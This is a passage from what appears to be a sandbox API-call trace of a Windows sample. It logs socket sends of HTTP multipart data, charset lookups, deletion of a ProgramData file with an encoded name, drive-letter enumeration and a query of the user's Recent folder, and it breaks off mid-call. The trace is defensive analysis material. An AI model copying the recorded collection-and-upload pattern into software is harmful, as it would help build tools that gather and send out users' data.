GetFullPathNameA (in: lpFileName="/usr/local/ssl/certs/1400f578.0", nBufferLength=0x104, lpBuffer=0x18f698, lpFilePart=0x18f4f0 | out: lpBuffer="C:\\usr\\local\\ssl\\certs\\1400f578.0", lpFilePart=0x18f4f0*="1400f578.0") returned 0x21 [0120.080] GetLastError () returned 0x3 [0120.080] WSASetLastError (iError=0) [0120.080] recv (in: s=0x280, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0120.080] SetLastError (dwErrCode=0x0) [0120.080] WSASetLastError (iError=0) [0120.080] recv (in: s=0x280, buf=0x2d51900, len=333, flags=0 | out: buf=0x2d51900*) returned 333 [0120.081] WSASetLastError (iError=0) [0120.081] recv (in: s=0x280, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0120.081] SetLastError (dwErrCode=0x0) [0120.081] WSASetLastError (iError=0) [0120.081] recv (in: s=0x280, buf=0x2d51900, len=4, flags=0 | out: buf=0x2d51900*) returned 4 [0120.081] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f624 | out: lpSystemTimeAsFileTime=0x18f624*(dwLowDateTime=0x987a2120, dwHighDateTime=0x1d60051)) [0120.086] WSASetLastError (iError=0) [0120.086] send (s=0x280, buf=0x2d571e8*, len=126, flags=0) returned 126 [0120.087] SetLastError (dwErrCode=0x0) [0120.087] WSASetLastError (iError=0) [0120.087] recv (in: s=0x280, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0120.115] SetLastError (dwErrCode=0x0) [0120.115] WSASetLastError (iError=0) [0120.116] recv (in: s=0x280, buf=0x2d51900, len=218, flags=0 | out: buf=0x2d51900*) returned 218 [0120.116] WSASetLastError (iError=0) [0120.116] recv (in: s=0x280, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0120.116] SetLastError (dwErrCode=0x0) [0120.116] WSASetLastError (iError=0) [0120.116] recv (in: s=0x280, buf=0x2d51900, len=1, flags=0 | out: buf=0x2d51900*) returned 1 [0120.116] WSASetLastError (iError=0) [0120.116] recv (in: s=0x280, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0120.116] SetLastError (dwErrCode=0x0) [0120.116] WSASetLastError (iError=0) [0120.116] recv (in: s=0x280, buf=0x2d51900, len=40, flags=0 | out: buf=0x2d51900*) returned 40 [0120.116] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Type", cchCount2=12) returned 2 [0120.116] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="--------032320005548593", cchCount1=1, lpString2="\"", cchCount2=1) returned 1 [0120.116] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="boundary=--------032320005548593", cchCount1=7, lpString2="charset", cchCount2=7) returned 1 [0120.117] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Type", cchCount2=12) returned 2 [0120.117] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Length", cchCount2=14) returned 3 [0120.117] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Host", cchCount2=4) returned 1 [0120.117] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Length", cchCount1=14, lpString2="Host", cchCount2=4) returned 1 [0120.117] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Accept", cchCount2=6) returned 3 [0120.117] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Length", cchCount1=14, lpString2="Accept", cchCount2=6) returned 3 [0120.117] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Host", cchCount1=4, lpString2="Accept", cchCount2=6) returned 3 [0120.117] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="User-Agent", cchCount2=10) returned 1 [0120.117] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Length", cchCount1=14, lpString2="User-Agent", cchCount2=10) returned 1 [0120.117] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Host", cchCount1=4, lpString2="User-Agent", cchCount2=10) returned 1 [0120.117] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Accept", cchCount1=6, lpString2="User-Agent", cchCount2=10) returned 1 [0120.117] WSASetLastError (iError=0) [0120.117] send (s=0x280, buf=0x2d409d3*, len=388, flags=0) returned 388 [0120.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="UTF-8", cchCount2=5) returned 1 [0120.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="US-ASCII", cchCount1=8, lpString2="UTF-8", cchCount2=5) returned 1 [0120.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ANSI_X3.4-1968", cchCount1=14, lpString2="UTF-8", cchCount2=5) returned 1 [0120.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iso-ir-6", cchCount1=8, lpString2="UTF-8", cchCount2=5) returned 1 [0120.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ANSI_X3.4-1986", cchCount1=14, lpString2="UTF-8", cchCount2=5) returned 1 [0120.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ISO_646.irv:1991", cchCount1=16, lpString2="UTF-8", cchCount2=5) returned 1 [0120.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ASCII", cchCount1=5, lpString2="UTF-8", cchCount2=5) returned 1 [0120.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ISO646-US", cchCount1=9, lpString2="UTF-8", cchCount2=5) returned 1 [0120.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="us", cchCount1=2, lpString2="UTF-8", cchCount2=5) returned 1 [0120.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IBM367", cchCount1=6, lpString2="UTF-8", cchCount2=5) returned 1 [0120.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cp367", cchCount1=5, lpString2="UTF-8", cchCount2=5) returned 1 [0120.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="csASCII", cchCount1=7, lpString2="UTF-8", cchCount2=5) returned 1 [0120.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ISO-10646-UTF-1", cchCount1=15, lpString2="UTF-8", cchCount2=5) returned 1 [0120.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="csISO10646UTF1", cchCount1=14, lpString2="UTF-8", cchCount2=5) returned 1 [0120.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ISO_646.basic:1983", cchCount1=18, lpString2="UTF-8", cchCount2=5) returned 1 [0120.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ref", cchCount1=3, lpString2="UTF-8", cchCount2=5) returned 1 [0120.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="csISO646basic1983", cchCount1=17, lpString2="UTF-8", cchCount2=5) returned 1 [0120.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="INVARIANT", cchCount1=9, lpString2="UTF-8", cchCount2=5) returned 1 [0120.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="csINVARIANT", cchCount1=11, lpString2="UTF-8", cchCount2=5) returned 1 [0120.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ISO_646.irv:1983", cchCount1=16, lpString2="UTF-8", cchCount2=5) returned 1 [0120.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iso-ir-2", cchCount1=8, lpString2="UTF-8", cchCount2=5) returned 1 [0120.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="irv", cchCount1=3, lpString2="UTF-8", cchCount2=5) returned 1 [0120.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="csISO2IntlRefVersion", cchCount1=20, lpString2="UTF-8", cchCount2=5) returned 1 [0120.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BS_4730", cchCount1=7, lpString2="UTF-8", cchCount2=5) returned 1 [0120.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iso-ir-4", cchCount1=8, lpString2="UTF-8", cchCount2=5) returned 1 [0120.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ISO646-GB", cchCount1=9, lpString2="UTF-8", cchCount2=5) returned 1 [0120.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gb", cchCount1=2, lpString2="UTF-8", cchCount2=5) returned 1 [0120.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uk", cchCount1=2, lpString2="UTF-8", cchCount2=5) returned 1 [0120.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="csISO4UnitedKingdom", cchCount1=19, lpString2="UTF-8", cchCount2=5) returned 1 [0120.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NATS-SEFI", cchCount1=9, lpString2="UTF-8", cchCount2=5) returned 1 [0120.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iso-ir-8-1", cchCount1=10, lpString2="UTF-8", cchCount2=5) returned 1 [0120.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="csNATSSEFI", cchCount1=10, lpString2="UTF-8", cchCount2=5) returned 1 [0120.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NATS-SEFI-ADD", cchCount1=13, lpString2="UTF-8", cchCount2=5) returned 1 [0120.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iso-ir-8-2", cchCount1=10, lpString2="UTF-8", cchCount2=5) returned 1 [0120.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="csNATSSEFIADD", cchCount1=13, lpString2="UTF-8", cchCount2=5) returned 1 [0120.122] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NATS-DANO", cchCount1=9, lpString2="UTF-8", cchCount2=5) returned 1 [0120.122] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iso-ir-9-1", cchCount1=10, lpString2="UTF-8", cchCount2=5) returned 1 [0120.122] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="csNATSDANO", cchCount1=10, lpString2="UTF-8", cchCount2=5) returned 1 [0120.122] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NATS-DANO-ADD", cchCount1=13, lpString2="UTF-8", cchCount2=5) returned 1 [0120.122] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iso-ir-9-2", cchCount1=10, lpString2="UTF-8", cchCount2=5) returned 1 [0120.122] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="csNATSDANOADD", cchCount1=13, lpString2="UTF-8", cchCount2=5) returned 1 [0120.122] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEN_850200_B", cchCount1=12, lpString2="UTF-8", cchCount2=5) returned 1 [0120.122] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iso-ir-10", cchCount1=9, lpString2="UTF-8", cchCount2=5) returned 1 [0120.122] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FI", cchCount1=2, lpString2="UTF-8", cchCount2=5) returned 1 [0120.122] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ISO646-FI", cchCount1=9, lpString2="UTF-8", cchCount2=5) returned 1 [0120.122] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ISO646-SE", cchCount1=9, lpString2="UTF-8", cchCount2=5) returned 1 [0120.122] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="se", cchCount1=2, lpString2="UTF-8", cchCount2=5) returned 1 [0120.122] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="csISO10Swedish", cchCount1=14, lpString2="UTF-8", cchCount2=5) returned 1 [0120.122] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEN_850200_C", cchCount1=12, lpString2="UTF-8", cchCount2=5) returned 1 [0120.122] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iso-ir-11", cchCount1=9, lpString2="UTF-8", cchCount2=5) returned 1 [0120.122] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ISO646-SE2", cchCount1=10, lpString2="UTF-8", cchCount2=5) returned 1 [0120.122] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="se2", cchCount1=3, lpString2="UTF-8", cchCount2=5) returned 1 [0120.122] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="csISO11SwedishForNames", cchCount1=22, lpString2="UTF-8", cchCount2=5) returned 1 [0120.122] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KS_C_5601-1987", cchCount1=14, lpString2="UTF-8", cchCount2=5) returned 1 [0120.122] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iso-ir-149", cchCount1=10, lpString2="UTF-8", cchCount2=5) returned 1 [0120.122] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KS_C_5601-1989", cchCount1=14, lpString2="UTF-8", cchCount2=5) returned 1 [0120.122] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KSC_5601", cchCount1=8, lpString2="UTF-8", cchCount2=5) returned 1 [0120.122] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="korean", cchCount1=6, lpString2="UTF-8", cchCount2=5) returned 1 [0120.122] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="csKSC56011987", cchCount1=13, lpString2="UTF-8", cchCount2=5) returned 1 [0120.122] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ISO-2022-KR", cchCount1=11, lpString2="UTF-8", cchCount2=5) returned 1 [0120.122] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="csISO2022KR", cchCount1=11, lpString2="UTF-8", cchCount2=5) returned 1 [0120.123] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="EUC-KR", cchCount1=6, lpString2="UTF-8", cchCount2=5) returned 1 [0120.123] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="csEUCKR", cchCount1=7, lpString2="UTF-8", cchCount2=5) returned 1 [0120.123] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ISO-2022-JP", cchCount1=11, lpString2="UTF-8", cchCount2=5) returned 1 [0120.123] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="csISO2022JP", cchCount1=11, lpString2="UTF-8", cchCount2=5) returned 1 [0120.123] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ISO-2022-JP-2", cchCount1=13, lpString2="UTF-8", cchCount2=5) returned 1 [0120.123] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="csISO2022JP2", cchCount1=12, lpString2="UTF-8", cchCount2=5) returned 1 [0120.123] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ISO-2022-CN", cchCount1=11, lpString2="UTF-8", cchCount2=5) returned 1 [0120.123] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ISO-2022-CN-EXT", cchCount1=15, lpString2="UTF-8", cchCount2=5) returned 1 [0120.123] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JIS_C6220-1969-jp", cchCount1=17, lpString2="UTF-8", cchCount2=5) returned 1 [0120.123] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JIS_C6220-1969", cchCount1=14, lpString2="UTF-8", cchCount2=5) returned 1 [0120.123] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iso-ir-13", cchCount1=9, lpString2="UTF-8", cchCount2=5) returned 1 [0120.123] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="katakana", cchCount1=8, lpString2="UTF-8", cchCount2=5) returned 1 [0120.123] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="x0201-7", cchCount1=7, lpString2="UTF-8", cchCount2=5) returned 3 [0120.123] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="csISO13JISC6220jp", cchCount1=17, lpString2="UTF-8", cchCount2=5) returned 1 [0120.123] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JIS_C6220-1969-ro", cchCount1=17, lpString2="UTF-8", cchCount2=5) returned 1 [0120.123] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iso-ir-14", cchCount1=9, lpString2="UTF-8", cchCount2=5) returned 1 [0120.123] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jp", cchCount1=2, lpString2="UTF-8", cchCount2=5) returned 1 [0120.123] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ISO646-JP", cchCount1=9, lpString2="UTF-8", cchCount2=5) returned 1 [0120.123] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="csISO14JISC6220ro", cchCount1=17, lpString2="UTF-8", cchCount2=5) returned 1 [0120.123] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IT", cchCount1=2, lpString2="UTF-8", cchCount2=5) returned 1 [0120.123] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iso-ir-15", cchCount1=9, lpString2="UTF-8", cchCount2=5) returned 1 [0120.123] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ISO646-IT", cchCount1=9, lpString2="UTF-8", cchCount2=5) returned 1 [0120.123] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="csISO15Italian", cchCount1=14, lpString2="UTF-8", cchCount2=5) returned 1 [0120.123] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PT", cchCount1=2, lpString2="UTF-8", cchCount2=5) returned 1 [0120.123] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iso-ir-16", cchCount1=9, lpString2="UTF-8", cchCount2=5) returned 1 [0120.124] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ISO646-PT", cchCount1=9, lpString2="UTF-8", cchCount2=5) returned 1 [0120.124] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="csISO16Portuguese", cchCount1=17, lpString2="UTF-8", cchCount2=5) returned 1 [0120.124] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ES", cchCount1=2, lpString2="UTF-8", cchCount2=5) returned 1 [0120.124] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iso-ir-17", cchCount1=9, lpString2="UTF-8", cchCount2=5) returned 1 [0120.124] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ISO646-ES", cchCount1=9, lpString2="UTF-8", cchCount2=5) returned 1 [0120.124] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="csISO17Spanish", cchCount1=14, lpString2="UTF-8", cchCount2=5) returned 1 [0120.124] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="greek7-old", cchCount1=10, lpString2="UTF-8", cchCount2=5) returned 1 [0120.124] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iso-ir-18", cchCount1=9, lpString2="UTF-8", cchCount2=5) returned 1 [0120.124] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="csISO18Greek7Old", cchCount1=16, lpString2="UTF-8", cchCount2=5) returned 1 [0120.124] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="latin-greek", cchCount1=11, lpString2="UTF-8", cchCount2=5) returned 1 [0120.124] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iso-ir-19", cchCount1=9, lpString2="UTF-8", cchCount2=5) returned 1 [0120.124] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="csISO19LatinGreek", cchCount1=17, lpString2="UTF-8", cchCount2=5) returned 1 [0120.124] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DIN_66003", cchCount1=9, lpString2="UTF-8", cchCount2=5) returned 1 [0120.124] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iso-ir-21", cchCount1=9, lpString2="UTF-8", cchCount2=5) returned 1 [0120.124] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="de", cchCount1=2, lpString2="UTF-8", cchCount2=5) returned 1 [0120.124] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ISO646-DE", cchCount1=9, lpString2="UTF-8", cchCount2=5) returned 1 [0120.124] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="csISO21German", cchCount1=13, lpString2="UTF-8", cchCount2=5) returned 1 [0120.124] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NF_Z_62-010_(1973)", cchCount1=18, lpString2="UTF-8", cchCount2=5) returned 1 [0120.124] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iso-ir-25", cchCount1=9, lpString2="UTF-8", cchCount2=5) returned 1 [0120.124] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ISO646-FR1", cchCount1=10, lpString2="UTF-8", cchCount2=5) returned 1 [0120.124] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="csISO25French", cchCount1=13, lpString2="UTF-8", cchCount2=5) returned 1 [0120.124] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Latin-greek-1", cchCount1=13, lpString2="UTF-8", cchCount2=5) returned 1 [0120.124] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iso-ir-27", cchCount1=9, lpString2="UTF-8", cchCount2=5) returned 1 [0120.124] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="csISO27LatinGreek1", cchCount1=18, lpString2="UTF-8", cchCount2=5) returned 1 [0120.124] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ISO_5427", cchCount1=8, lpString2="UTF-8", cchCount2=5) returned 1 [0120.125] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iso-ir-37", cchCount1=9, lpString2="UTF-8", cchCount2=5) returned 1 [0120.125] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="csISO5427Cyrillic", cchCount1=17, lpString2="UTF-8", cchCount2=5) returned 1 [0120.125] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JIS_C6226-1978", cchCount1=14, lpString2="UTF-8", cchCount2=5) returned 1 [0120.125] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iso-ir-42", cchCount1=9, lpString2="UTF-8", cchCount2=5) returned 1 [0120.125] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="csISO42JISC62261978", cchCount1=19, lpString2="UTF-8", cchCount2=5) returned 1 [0120.125] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BS_viewdata", cchCount1=11, lpString2="UTF-8", cchCount2=5) returned 1 [0120.125] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iso-ir-47", cchCount1=9, lpString2="UTF-8", cchCount2=5) returned 1 [0120.125] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="csISO47BSViewdata", cchCount1=17, lpString2="UTF-8", cchCount2=5) returned 1 [0120.127] WSASetLastError (iError=0) [0120.127] send (s=0x280, buf=0x2d409d3*, len=3667, flags=0) returned 3667 [0120.127] GetTickCount64 () returned 0x1150c03 [0120.127] select (in: nfds=0, readfds=0x18f9f8, writefds=0x0, exceptfds=0x0, timeout=0x0 | out: readfds=0x18f9f8, writefds=0x0, exceptfds=0x0) returned 1 [0120.189] SetLastError (dwErrCode=0x0) [0120.189] SetLastError (dwErrCode=0x0) [0120.189] WSASetLastError (iError=0) [0120.189] recv (in: s=0x280, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0120.190] SetLastError (dwErrCode=0x0) [0120.190] WSASetLastError (iError=0) [0120.190] recv (in: s=0x280, buf=0x2d51900, len=155, flags=0 | out: buf=0x2d51900*) returned 155 [0120.190] GetTickCount64 () returned 0x1150c41 [0120.190] GetTickCount64 () returned 0x1150c41 [0120.190] GetTickCount64 () returned 0x1150c41 [0120.190] GetTickCount64 () returned 0x1150c41 [0120.190] GetTickCount64 () returned 0x1150c41 [0120.190] select (in: nfds=0, readfds=0x18f954, writefds=0x0, exceptfds=0x0, timeout=0x0 | out: readfds=0x18f954, writefds=0x0, exceptfds=0x0) returned 1 [0120.190] SetLastError (dwErrCode=0x0) [0120.190] SetLastError (dwErrCode=0x0) [0120.190] WSASetLastError (iError=0) [0120.190] recv (in: s=0x280, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0120.191] SetLastError (dwErrCode=0x0) [0120.191] WSASetLastError (iError=0) [0120.191] recv (in: s=0x280, buf=0x2d51900, len=26, flags=0 | out: buf=0x2d51900*) returned 26 [0120.191] GetCurrentThreadId () returned 0x9fc [0120.191] WSASetLastError (iError=0) [0120.191] send (s=0x280, buf=0x2d409d3*, len=31, flags=0) returned 31 [0120.192] shutdown (s=0x280, how=1) returned 0 [0120.192] closesocket (s=0x280) returned 0 [0120.192] LoadStringW (in: hInstance=0x400000, uID=0xfee9, lpBuffer=0x18dac8, cchBufferMax=4096 | out: lpBuffer="Connection Closed Gracefully.") returned 0x1d [0120.192] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x18fab8) [0120.194] RtlUnwind (TargetFrame=0x18fb18, TargetIp=0x409ac8, ExceptionRecord=0x18f59c, ReturnValue=0x0) [0120.195] DeleteFileW (lpFileName="C:\\ProgramData\\TVpSSURGMDUxNEZFRTcyX19UYXJpaCgyMiBNYXJ0IDIwMjAgUGF6YXIpX19TYWF0KDE2LTU2LTI2KQ==" (normalized: "c:\\programdata\\tvpssurgmduxnezfrtcyx19uyxjpacgymibnyxj0idiwmjagugf6yxipx19tywf0kde2ltu2lti2kq==")) returned 1 [0120.202] GetFileAttributesW (lpFileName="A:\\" (normalized: "a:")) returned 0xffffffff [0120.203] GetLastError () returned 0x3 [0120.208] GetFileAttributesW (lpFileName="B:\\" (normalized: "b:")) returned 0xffffffff [0120.208] GetLastError () returned 0x3 [0120.214] GetFileAttributesW (lpFileName="D:\\" (normalized: "d:")) returned 0xffffffff [0120.214] GetLastError () returned 0x3 [0120.219] GetFileAttributesW (lpFileName="E:\\" (normalized: "e:")) returned 0xffffffff [0120.219] GetLastError () returned 0x3 [0120.225] GetFileAttributesW (lpFileName="F:\\" (normalized: "f:")) returned 0xffffffff [0120.225] GetLastError () returned 0x3 [0120.231] GetFileAttributesW (lpFileName="G:\\" (normalized: "g:")) returned 0xffffffff [0120.231] GetLastError () returned 0x3 [0120.236] GetFileAttributesW (lpFileName="H:\\" (normalized: "h:")) returned 0xffffffff [0120.236] GetLastError () returned 0x3 [0120.241] GetFileAttributesW (lpFileName="I:\\" (normalized: "i:")) returned 0xffffffff [0120.241] GetLastError () returned 0x3 [0120.246] GetFileAttributesW (lpFileName="J:\\" (normalized: "j:")) returned 0xffffffff [0120.247] GetLastError () returned 0x3 [0120.252] GetFileAttributesW (lpFileName="K:\\" (normalized: "k:")) returned 0xffffffff [0120.252] GetLastError () returned 0x3 [0120.257] GetFileAttributesW (lpFileName="L:\\" (normalized: "l:")) returned 0xffffffff [0120.257] GetLastError () returned 0x3 [0120.262] GetFileAttributesW (lpFileName="M:\\" (normalized: "m:")) returned 0xffffffff [0120.262] GetLastError () returned 0x3 [0120.267] GetFileAttributesW (lpFileName="N:\\" (normalized: "n:")) returned 0xffffffff [0120.267] GetLastError () returned 0x3 [0120.272] GetFileAttributesW (lpFileName="O:\\" (normalized: "o:")) returned 0xffffffff [0120.273] GetLastError () returned 0x3 [0120.278] GetFileAttributesW (lpFileName="P:\\" (normalized: "p:")) returned 0xffffffff [0120.278] GetLastError () returned 0x3 [0120.283] GetFileAttributesW (lpFileName="Q:\\" (normalized: "q:")) returned 0xffffffff [0120.283] GetLastError () returned 0x3 [0120.288] GetFileAttributesW (lpFileName="R:\\" (normalized: "r:")) returned 0xffffffff [0120.289] GetLastError () returned 0x3 [0120.294] GetFileAttributesW (lpFileName="S:\\" (normalized: "s:")) returned 0xffffffff [0120.295] GetLastError () returned 0x3 [0120.300] GetFileAttributesW (lpFileName="T:\\" (normalized: "t:")) returned 0xffffffff [0120.301] GetLastError () returned 0x3 [0120.306] GetFileAttributesW (lpFileName="U:\\" (normalized: "u:")) returned 0xffffffff [0120.317] GetLastError () returned 0x3 [0120.323] GetFileAttributesW (lpFileName="V:\\" (normalized: "v:")) returned 0xffffffff [0120.323] GetLastError () returned 0x3 [0120.327] GetFileAttributesW (lpFileName="W:\\" (normalized: "w:")) returned 0xffffffff [0120.327] GetLastError () returned 0x3 [0120.331] GetFileAttributesW (lpFileName="X:\\" (normalized: "x:")) returned 0xffffffff [0120.332] GetLastError () returned 0x3 [0120.336] GetFileAttributesW (lpFileName="Y:\\" (normalized: "y:")) returned 0xffffffff [0120.336] GetLastError () returned 0x3 [0120.340] GetFileAttributesW (lpFileName="Z:\\" (normalized: "z:")) returned 0xffffffff [0120.347] GetLastError () returned 0x3 [0120.347] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb28, csidl=8, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0120.348] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent" (normalized: 